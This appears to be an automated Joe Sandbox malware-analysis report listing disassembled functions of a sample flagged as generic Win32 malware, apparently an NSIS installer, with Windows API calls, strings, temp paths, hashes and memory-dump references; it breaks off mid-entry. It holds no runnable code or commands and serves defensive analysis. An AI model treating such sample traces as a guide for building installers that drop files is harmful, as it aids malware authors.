Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 963d0e2195837636cb6f5b073c234fd9fc9862b141633064f8114fc5dd327728
Instruction ID: 467e9106b9ab4b1e9b2d04e68362d71007c986f05034cc4a0cb7dcf353c6e141
Opcode Fuzzy Hash: 963d0e2195837636cb6f5b073c234fd9fc9862b141633064f8114fc5dd327728
Instruction Fuzzy Hash: 16029B70A00609EFDB20DF95DD45AAF7BB5FB44314F10817AE610BA2E1D7B98A42CF58

Function 0040465F Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,?), ref: 004046FD
GetDlgItem.USER32(?,000003E8), ref: 00404711
SendMessageW.USER32(00000000,0000045B,?,00000000), ref: 0040472E
GetSysColor.USER32(?), ref: 0040473F
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040474D
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040475B
lstrlenW.KERNEL32(?), ref: 00404760
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040476D
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404782
GetDlgItem.USER32(?,0000040A), ref: 004047DB
SendMessageW.USER32(00000000), ref: 004047E2
GetDlgItem.USER32(?,000003E8), ref: 0040480D
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404850
LoadCursorW.USER32(00000000,00007F02), ref: 0040485E
SetCursor.USER32(00000000), ref: 00404861
LoadCursorW.USER32(00000000,00007F00), ref: 0040487A
SetCursor.USER32(00000000), ref: 0040487D
SendMessageW.USER32(00000111,?,00000000), ref: 004048AC
SendMessageW.USER32(00000010,00000000,00000000), ref: 004048BE

Strings

N, xrefs: 004047FB
Call, xrefs: 0040483C

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Call$N
API String ID: 3103080414-3438112850
Opcode ID: d465d3d5382bb59059b47d3503e7a252332af71f120e52871dcbc052c6d80ab7
Instruction ID: fa786ba7610ecb1ae21ae2169d8ef808fc0b2da043ab7544d4c43deaa2774949
Opcode Fuzzy Hash: d465d3d5382bb59059b47d3503e7a252332af71f120e52871dcbc052c6d80ab7
Instruction Fuzzy Hash: 7F61B3B1A00209BFDB10AF64DD85A6A7B79FB84354F00843AFB05B61D0D7B9AD61CF58

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,?), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00428A20,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: fcc37e75e13d0dca8524aaa06a8ee829d240d30c68f9aadea354bd02ab1c226a
Instruction ID: d1034cbb9d528375343357a353c0022e70e8214492c202610c441178c5bfc5cd
Opcode Fuzzy Hash: fcc37e75e13d0dca8524aaa06a8ee829d240d30c68f9aadea354bd02ab1c226a
Instruction Fuzzy Hash: FC417B71800249AFCB058FA5DE459AFBBB9FF45314F00802EF592AA1A0CB74DA55DFA4

Function 00406167 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,?,?,00000000,?,?,00406302,?,?), ref: 004061A2
GetShortPathNameW.KERNEL32(?,004265A8,00000400), ref: 004061AB

Part of subcall function 00405F76: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,0040625B,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405F86
Part of subcall function 00405F76: lstrlenA.KERNEL32(00000000,?,00000000,0040625B,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FB8

GetShortPathNameW.KERNEL32(?,00426DA8,00000400), ref: 004061C8
wsprintfA.USER32 ref: 004061E6
GetFileSize.KERNEL32(00000000,00000000,00426DA8,C0000000,00000004,00426DA8,?,?,?,?,?), ref: 00406221
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406230
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406268
SetFilePointer.KERNEL32(0040A580,00000000,00000000,00000000,00000000,004261A8,00000000,-0000000A,0040A580,00000000,[Rename],00000000,00000000,00000000), ref: 004062BE
GlobalFree.KERNEL32(00000000), ref: 004062CF
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004062D6

Part of subcall function 00406011: GetFileAttributesW.KERNELBASE(00000003,004030C2,C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe,80000000,00000003), ref: 00406015
Part of subcall function 00406011: CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000), ref: 00406037

Strings

[Rename], xrefs: 00406250, 00406262
%ls=%ls, xrefs: 004061DC

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: ad23c2c12608704314c1a1c2d98a70ea5e027cecb5ac03fef5858bd56b87dd73
Instruction ID: d8f03b5b48010a369f687ed07a259b5d04d98e8e290d987932ab0f9f84d7b5e4
Opcode Fuzzy Hash: ad23c2c12608704314c1a1c2d98a70ea5e027cecb5ac03fef5858bd56b87dd73
Instruction Fuzzy Hash: 89313230201325BFD6207B659D48F2B3A6CDF41714F12007EBA02F62C2EA7D98218ABD

Function 004067CF Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe",76343420,C:\Users\user\AppData\Local\Temp\,00000000,004034D7,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037E6,?,00000008,0000000A,0000000C), ref: 00406832
CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00406841
CharNextW.USER32(?,"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe",76343420,C:\Users\user\AppData\Local\Temp\,00000000,004034D7,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037E6,?,00000008,0000000A,0000000C), ref: 00406846
CharPrevW.USER32(?,?,76343420,C:\Users\user\AppData\Local\Temp\,00000000,004034D7,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037E6,?,00000008,0000000A,0000000C), ref: 00406859

Strings

*?|<>/":, xrefs: 00406821
"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe", xrefs: 00406813
C:\Users\user\AppData\Local\Temp\, xrefs: 004067D0

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-418869352
Opcode ID: d9890b2689dddc4776a4db6af1629ac80bd1bcc56ba6148264ccbff8cf15ab87
Instruction ID: 2d41fa7b6770246c30beeceb47eb68b435a53440eacd13368e2f30b8c56315d6
Opcode Fuzzy Hash: d9890b2689dddc4776a4db6af1629ac80bd1bcc56ba6148264ccbff8cf15ab87
Instruction Fuzzy Hash: A511935680121296DB303B14CC44ABB66E8AF54794F52C03FE999732C1E77C5C9296BD

Function 00404507 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00404524
GetSysColor.USER32(00000000), ref: 00404562
SetTextColor.GDI32(?,00000000), ref: 0040456E
SetBkMode.GDI32(?,?), ref: 0040457A
GetSysColor.USER32(?), ref: 0040458D
SetBkColor.GDI32(?,?), ref: 0040459D
DeleteObject.GDI32(?), ref: 004045B7
CreateBrushIndirect.GDI32(?), ref: 004045C1

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
Instruction ID: 524417ed32742d4b72cd17798d780815826fd18a7bcb7bb0f1ed1fdd1052d135
Opcode Fuzzy Hash: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
Instruction Fuzzy Hash: B22135B1500705AFCB319F78DD08B577BF5AF81714B048A2DEA96A26E0D738D944CB54

Function 00404E5B Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404E76
GetMessagePos.USER32 ref: 00404E7E
ScreenToClient.USER32(?,?), ref: 00404E98
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404EAA
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404ED0

Strings

f, xrefs: 00404EAC

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
Instruction ID: cfceae8db68972c520d490933057d7cb8d8acba3ea2256e028311c612775fba1
Opcode Fuzzy Hash: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
Instruction Fuzzy Hash: A3015E7190021CBADB00DB94DD85BFFBBBCAF95B11F10412BBA51B61D0C7B49A418BA4

Function 00402F98 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,000000FA,00000000), ref: 00402FB6
MulDiv.KERNEL32(000887A9,00000064,000889AD), ref: 00402FE1
wsprintfW.USER32 ref: 00402FF1
SetWindowTextW.USER32(?,?), ref: 00403001
SetDlgItemTextW.USER32(?,00000406,?), ref: 00403013

Strings

verifying installer: %d%%, xrefs: 00402FEB

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 7c72eb226873640f15370cd8631d515f33e7e0e766319f11269e715f4bf9c46b
Instruction ID: f83dc0eaaa7e9df2961e53678d13a3899a4bf5fcca0c0537cb294ee04905d4b1
Opcode Fuzzy Hash: 7c72eb226873640f15370cd8631d515f33e7e0e766319f11269e715f4bf9c46b
Instruction Fuzzy Hash: EF014F71640208BBEF209F60DD49FEE3B69AB44345F108039FA06A51D0DBB99A559F58

Function 70592655 Relevance: 9.1, APIs: 6, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 705912BB: GlobalAlloc.KERNELBASE(00000040,?,705912DB,?,7059137F,00000019,705911CA,-000000A0), ref: 705912C5

GlobalFree.KERNEL32(?), ref: 70592743
GlobalFree.KERNEL32(00000000), ref: 70592778

Memory Dump Source

Source File: 00000000.00000002.72590322272.0000000070591000.00000020.00000001.01000000.00000004.sdmp, Offset: 70590000, based on PE: true

Associated: 00000000.00000002.72590238197.0000000070590000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.72590417653.0000000070594000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.72590494752.0000000070596000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70590000_SecuriteInfo.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 049f182124680b1f3877ddcd22d0b8b3bb2a6859428313954af268b9dac07ecb
Instruction ID: 9c6fbfd08319bd47a1d63d053adc819dc958cb5ec642fff5549fdad71207e83b
Opcode Fuzzy Hash: 049f182124680b1f3877ddcd22d0b8b3bb2a6859428313954af268b9dac07ecb
Instruction Fuzzy Hash: 0C31D032124101DFC7169FA6CD88D2E7FBAFB95300326492EF202A7620D7716C14DF69

Function 00402955 Relevance: 9.1, APIs: 6, Instructions: 91memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029B6
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029D2
GlobalFree.KERNEL32(?), ref: 00402A0B
GlobalFree.KERNEL32(00000000), ref: 00402A1E
CloseHandle.KERNEL32(?,?,?,?,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A3A
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A4D

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: b07bb42a36a53ac2b652948ec131e563e6f6be8de0f89c4bf93d81cf64cebf1f
Instruction ID: 66908bbe9354c3b59104e874c770ae4161d9466efedc1f742b63756e9967f80f
Opcode Fuzzy Hash: b07bb42a36a53ac2b652948ec131e563e6f6be8de0f89c4bf93d81cf64cebf1f
Instruction Fuzzy Hash: 54319E71900128ABCF21AFA5CE49D9E7E79AF44364F10423AF514762E1CB794C429FA8

Function 00405EF8 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406521: lstrcpynW.KERNEL32(?,?,00000400,0040366E,00428A20,NSIS Error,?,00000008,0000000A,0000000C), ref: 0040652E

Part of subcall function 00405E9B: CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nst8185.tmp,?,00405F0F,C:\Users\user\AppData\Local\Temp\nst8185.tmp,C:\Users\user\AppData\Local\Temp\nst8185.tmp, 44v,?,C:\Users\user\AppData\Local\Temp\,00405C4D,?,76343420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe"), ref: 00405EA9
Part of subcall function 00405E9B: CharNextW.USER32(00000000), ref: 00405EAE
Part of subcall function 00405E9B: CharNextW.USER32(00000000), ref: 00405EC6

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nst8185.tmp,00000000,C:\Users\user\AppData\Local\Temp\nst8185.tmp,C:\Users\user\AppData\Local\Temp\nst8185.tmp, 44v,?,C:\Users\user\AppData\Local\Temp\,00405C4D,?,76343420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.4932.17674.exe"), ref: 00405F51
GetFileAttributesW.KERNEL32(C:\Users\user\AppData\Local\Temp\nst8185.tmp,C:\Users\user\AppData\Local\Temp\nst8185.tmp,C:\Users\user\AppData\Local\Temp\nst8185.tmp,C:\Users\user\AppData\Local\Temp\nst8185.tmp,C:\Users\user\AppData\Local\Temp\nst8185.tmp,C:\Users\user\AppData\Local\Temp\nst8185.tmp,00000000,C:\Users\user\AppData\Local\Temp\nst8185.tmp,C:\Users\user\AppData\Local\Temp\nst8185.tmp, 44v,?,C:\Users\user\AppData\Local\Temp\,00405C4D,?,76343420,C:\Users\user\AppData\Local\Temp\), ref: 00405F61

Strings

C:\Users\user\AppData\Local\Temp\nst8185.tmp, xrefs: 00405EFE, 00405F03, 00405F09, 00405F4A, 00405F50, 00405F58, 00405F60
C:\Users\user\AppData\Local\Temp\, xrefs: 00405EF8
44v, xrefs: 00405EFA

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 44v$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nst8185.tmp
API String ID: 3248276644-2284398316
Opcode ID: db39f955a116f1e539d990513461dc7a207fa728de065fffbfa736c70f2b9a34
Instruction ID: 4f97f4adca9055af25af7ef058e1e83d315c20be799ec2f088cafe79a8eb74c9
Opcode Fuzzy Hash: db39f955a116f1e539d990513461dc7a207fa728de065fffbfa736c70f2b9a34
Instruction Fuzzy Hash: DAF0F435115E5326D622323A2C49AAF1A05CEC2324B55453FF891B22C2DF3C89538DBE

Function 70592480 Relevance: 7.6, APIs: 5, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 705925C2

Part of subcall function 705912CC: lstrcpynW.KERNEL32(00000000,?,7059137F,00000019,705911CA,-000000A0), ref: 705912DC

GlobalAlloc.KERNEL32(00000040), ref: 70592548
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 70592563

Memory Dump Source

Source File: 00000000.00000002.72590322272.0000000070591000.00000020.00000001.01000000.00000004.sdmp, Offset: 70590000, based on PE: true

Associated: 00000000.00000002.72590238197.0000000070590000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.72590417653.0000000070594000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.72590494752.0000000070596000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70590000_SecuriteInfo.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: 175ef076d529efe6615dfc1a961e97b83449e2521c9378dd24bba7b52997c924
Instruction ID: 52f0c666f4150ed2acc0f29f8a4cc0121f39b82a369ce2b428542cb4980d8b6e
Opcode Fuzzy Hash: 175ef076d529efe6615dfc1a961e97b83449e2521c9378dd24bba7b52997c924
Instruction Fuzzy Hash: CC41E2B1028305DFDB14EF25D848A2E7FBCFB94310F22491EF54ACA240E770A944DBA9

Function 00401D86 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D9F
GetClientRect.USER32(?,?), ref: 00401DEA
LoadImageW.USER32(?,?,?,?,?,?), ref: 00401E1A
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E2E
DeleteObject.GDI32(00000000), ref: 00401E3E

Memory Dump Source

Source File: 00000000.00000002.72564829892.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.72564732244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564935969.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72564997912.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.72565234736.000000000044C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: b4553b6f8f96a3615d4cb1d74016621c3cb3daa09826911c1e5c071ec9b0e61c
Instruction ID: 002387d4b88dbb62f40c54eb0dee3f9a721ef30fc2dbb8ae50818b7fec09efb0
Opcode Fuzzy Hash: b4553b6f8f96a3615d4cb1d74016621c3cb3daa09826911c1e5c071ec9b0e61c
Instruction Fuzzy Hash: 0F21F872A00119AFCB15DF98DE45AEEBBB5EB08304F14003AF945F62A0D7789D41DB98

Function 00401E53 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

